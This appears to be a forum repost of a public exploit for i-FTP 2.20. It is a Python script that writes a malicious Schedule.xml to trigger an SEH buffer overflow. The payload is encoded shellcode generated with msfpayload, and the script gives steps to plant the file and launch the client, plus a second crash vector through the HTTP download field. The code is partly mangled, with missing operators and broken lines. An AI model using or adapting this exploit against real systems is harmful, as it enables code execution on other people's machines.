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i-Ftp 2.20 Buffer Overflow
#1
#Exploit Title: i-FTP Buffer Overflow SEH
#Homepage:http://www.memecode.com/iftp.php
#Software Link:www.memecode.com/data/iftp-win32-v220.exe
#Version:i.Ftp v2.20 (Win32 Release)
#Vulnerability discovered:26.10.2014
#Description:Simple portable cross platform FTP/SFTP/HTTP client.
#Tested on:Win7 32bit EN-Ultimate - Win8.1-DE 64bit - Win XPsp3-EN


PHP Kod:
#!/usr/bin/python
#Exploit Title:i-FTP Buffer Overflow SEH
#Homepage:http://www.memecode.com/iftp.php
#Software Link:www.memecode.com/data/iftp-win32-v220.exe
#Version:i.Ftp v2.20 (Win32 Release)
#Vulnerability discovered:26.10.2014
#Description:Simple portable cross platform FTP/SFTP/HTTP client.
#Tested on:Win7 32bit EN-Ultimate - Win8.1-DE 64bit - Win XPsp3-EN
#Exploit Author:metacom  --> twitter.com/m3tac0m

import struct
def little_endian
(address):
  return 
struct.pack("<L",address)
poc ="\x41" 591
poc
+="\xeb\x06\x90\x90" 
poc+=little_endian(0x1004C31F)#1004C31F   5E   POP ESI
poc+="\x90" 80
# msfpayload windows/exec EXITFUNC=seh CMD=calc.exe R 
#| msfencode -e x86/alpha_upper -b "\x00\x0a\x0d\x20\x22" -t c
poc+=("\x89\xe7\xda\xce\xd9\x77\xf4\x58\x50\x59\x49\x49\x49\x49\x43"
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58\x4d\x59\x35\x50"
"\x53\x30\x55\x50\x43\x50\x4d\x59\x4d\x35\x46\x51\x39\x42\x55"
"\x34\x4c\x4b\x51\x42\x30\x30\x4c\x4b\x51\x42\x44\x4c\x4c\x4b"
"\x51\x42\x32\x34\x4c\x4b\x54\x32\x31\x38\x44\x4f\x58\x37\x30"
"\x4a\x57\x56\x50\x31\x4b\x4f\x36\x51\x4f\x30\x4e\x4c\x57\x4c"
"\x33\x51\x43\x4c\x44\x42\x46\x4c\x31\x30\x4f\x31\x58\x4f\x44"
"\x4d\x45\x51\x38\x47\x5a\x42\x5a\x50\x31\x42\x46\x37\x4c\x4b"
"\x46\x32\x42\x30\x4c\x4b\x30\x42\x47\x4c\x55\x51\x48\x50\x4c"
"\x4b\x51\x50\x44\x38\x4b\x35\x39\x50\x44\x34\x30\x4a\x53\x31"
"\x48\x50\x46\x30\x4c\x4b\x51\x58\x35\x48\x4c\x4b\x51\x48\x57"
"\x50\x45\x51\x58\x53\x4b\x53\x47\x4c\x47\x39\x4c\x4b\x37\x44"
"\x4c\x4b\x53\x31\x58\x56\x50\x31\x4b\x4f\x36\x51\x4f\x30\x4e"
"\x4c\x59\x51\x58\x4f\x54\x4d\x43\x31\x39\x57\x56\x58\x4b\x50"
"\x33\x45\x4b\x44\x43\x33\x43\x4d\x5a\x58\x47\x4b\x53\x4d\x31"
"\x34\x52\x55\x4a\x42\x50\x58\x4c\x4b\x50\x58\x57\x54\x43\x31"
"\x49\x43\x55\x36\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x30\x58\x45"
"\x4c\x55\x51\x58\x53\x4c\x4b\x34\x44\x4c\x4b\x43\x31\x38\x50"
"\x4c\x49\x30\x44\x31\x34\x57\x54\x51\x4b\x31\x4b\x53\x51\x30"
"\x59\x51\x4a\x36\x31\x4b\x4f\x4b\x50\x36\x38\x51\x4f\x51\x4a"
"\x4c\x4b\x55\x42\x4a\x4b\x4d\x56\x51\x4d\x42\x4a\x53\x31\x4c"
"\x4d\x4b\x35\x58\x39\x33\x30\x35\x50\x33\x30\x56\x30\x33\x58"
"\x30\x31\x4c\x4b\x42\x4f\x4d\x57\x4b\x4f\x39\x45\x4f\x4b\x4b"
"\x4e\x44\x4e\x56\x52\x5a\x4a\x53\x58\x39\x36\x4d\x45\x4f\x4d"
"\x4d\x4d\x4b\x4f\x38\x55\x47\x4c\x34\x46\x33\x4c\x54\x4a\x4b"
"\x30\x4b\x4b\x4b\x50\x53\x45\x45\x55\x4f\x4b\x50\x47\x52\x33"
"\x42\x52\x42\x4f\x42\x4a\x55\x50\x31\x43\x4b\x4f\x4e\x35\x53"
"\x53\x55\x31\x32\x4c\x45\x33\x46\x4e\x52\x45\x44\x38\x52\x45"
"\x55\x50\x41\x41"
)
poc+="\x90" * (20000 len(poc))
header "\x3c\x3f\x78\x6d\x6c\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22\x31\x2e\x30\x22\x20\x65\x6e\x63\x6f\x64\x69\x6e\x67\x3d\x22"
header += "\x55\x54\x46\x2d\x38\x22\x20\x3f\x3e\x0a\x3c\x53\x63\x68\x65\x64\x75\x6c\x65\x3e\x0a\x09\x3c\x45\x76\x65\x6e\x74\x20\x55"
header += "\x72\x6c\x3d\x22\x22\x20\x54\x69\x6d\x65\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x0a" poc 
footer 
"\x22\x20\x46\x6f\x6c\x64\x65\x72\x3d\x22\x22\x20\x2f\x3e\x0a\x3c\x2f\x53\x63\x68\x65\x64\x75\x6c\x65\x3e\x0a"
exploit =  header footer
filename 
"Schedule.xml"
file open(filename "w")
file.write(exploit)
print 
"\n[*]Vulnerable Created Schedule.xml!"
print "[*]Copy Schedule.xml to C:\Program Files\Memecode\i.Ftp"
print "[*]Start IFTP"
print "[*]----------------------------------------------------"
file.close()
print 
'''
[+]Second Vulnerability
[-]You can also enter the contents 20000 A of the file in the -->
 * HTTP -> HTTP Download --> Option "FILE" to cause this crash
 * Access violation - code c0000005 (!!! second chance !!!)
 * 0:003> !exchain
 * 016fff2c: 41414141
 * Invalid exception stack at 41414141''' 
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